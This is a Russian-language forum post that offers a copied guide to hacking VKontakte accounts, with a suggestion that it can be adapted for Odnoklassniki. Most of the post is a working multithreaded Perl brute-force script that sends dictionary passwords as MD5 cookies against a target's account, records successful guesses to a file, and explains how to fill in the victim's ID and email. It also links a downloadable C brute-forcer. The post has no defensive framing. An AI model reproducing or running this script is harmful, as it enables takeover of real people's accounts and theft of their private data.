triadec_96
Сообщений: 3
Оценки: 0
Присоединился: 2012-02-13 16:36:33.163333
|
Вот я скопировал как взломать контакт! У скрипте осталось только поменять vkontakte.ru на одноклассники (мне так кажется) )Брутфорс, как всем известно - перебор паролей. Способ долгий, и не всегда сработает(в случае пароля D5&%-AefV) Для этого брутфорсера нам потребуется активперл скачать мона тут http://download.softportal.com/softw…ctiveperl.html либо по ссылке http://www.denwer.ru/packages/perl.html Код брутфорсера: quote: #!/usr/bin/perl use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; open (pass, "<$dic"); Next: @pass = pass(); for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while (@pass){ $pass = shift @pass; $md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozillo\r\n". "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} } } goto Next; sub pass { my (@mas); while (<pass>){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; } Не забудьте сменить разширение на brut.pl $dic = ‘passl.txt’; #паслист для брдутфорсера $id = 1; #айдишник цели(его можно взять из адресной строки когда вы зашли на страницу жертвы) $mail = ‘мыло’; #мыло, значек @ меняем на %40 $threads = Х; # где Х - количество потоков Если вам лень копаться со всем этим, то есть неплохой брут на С. Скачать его можно по ссылке http://slil.ru/25774498, сразу говорю, если не запускается - это ваши проблемы, ибо все прекрасно работает!
|